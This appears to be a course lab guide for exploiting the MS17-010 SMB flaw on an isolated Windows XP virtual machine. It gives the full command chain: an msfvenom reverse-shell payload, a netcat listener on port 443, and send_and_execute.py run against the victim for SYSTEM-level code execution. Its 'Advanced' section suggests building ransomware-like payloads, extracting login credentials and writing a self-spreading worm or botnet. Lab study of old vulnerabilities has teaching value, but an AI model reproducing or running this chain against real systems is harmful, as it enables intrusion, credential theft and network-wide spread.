Preparation:

* Freshly installed Windows XP (using a lower version for performance) inside VirtualBox, never connected to the Internet (to prevent auto update), configured .ova file can be provided to save time.
* If host is Linux:
  + Download mysmb.py (<https://github.com/worawit/MS17-010/blob/master/mysmb.py>, attached) and send\_and\_execute.py (<https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py>, attached)
  + Install impacket (pip install impacket should be okay). I tested everything on Python 2.x.
  + Optionally, install metasploit (<https://metasploit.com/>). This is only for using msfvenom to generate payload. Alternatively you can build your own payload with Windows SDK.
  + Configure the Windows virtual machine to use “host-only adapter”
* If host is not Linux or you don’t want to mess up with the host system:
  + Download Kali Linux .ova file (<https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/>) and load it to another virtual machine. The password to root on Kali inside the .ova is toor.
  + You still need to get mysmb.py and send\_and\_execute.py; impacket and msfvenom are already there.
  + Configure both virtual machines to use “internal network”

Steps:

1. Check and write down the IP addresses of the Windows virtual machine (*ip-win*) and Linux host or virtual machine (*ip-linux*). If “host-only adapter”, VirtualBox assigns IP addresses; if “internal network”, make something up yourself.
2. In the Windows virtual machine, share a folder (it doesn’t matter which folder is shared. We only need to start the file sharing server software)
3. Prepare a payload and name it ms17-010.exe. If you don’t have something ready, try the reverse shell and create it with command: msfvenom -p windows/shell\_reverse\_tcp LHOST=*ip-linux* LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o ms17-010.exe
4. If you’re going with the reverse shell approach, listen on port 443 on Linux: nc -nlvp 443
5. We omit the step to probe the victim and identify the vulnerabilities since we know about it. In another shell if the previous shell is occupied by netcat (keep it running), run the attacking script: python send\_and\_execute.py *ip-win* ms17-010.exe
6. Now your payload is running on the victim machine under NT AUTHORITY\SYSTEM privilege. We omit the step to verify that. If you’re going with the reverse shell approach, You should get an inbound connection on your netcat server listening on port 443, providing you with a shell (cmd). Every command you enter is executed on the victim machine.

Advanced:

* Inspect the Python scripts and related docs (protocol spec) and try to understand them, including how the smb protocol (Windows file sharing service) and server work, what the flaw is, how it is exploited, and how to fix it, etc.
* Design your own payload (like the ransomware in the news events, but you’re not limited to ransomwares and can do anything on the victim. The guide in the reference proceeds with extracting login credentials from the system manually in the reverse shell).
* Think about implementing an exploit inside the payload, and the ability to probe other hosts reachable over the network, attack them and spread itself. This can be used to create a computer worm and/or botnet (discussed elsewhere).

Reference:

* <https://ivanitlearning.wordpress.com/2019/02/24/exploiting-ms17-010-without-metasploit-win-xp-sp3/> (attached)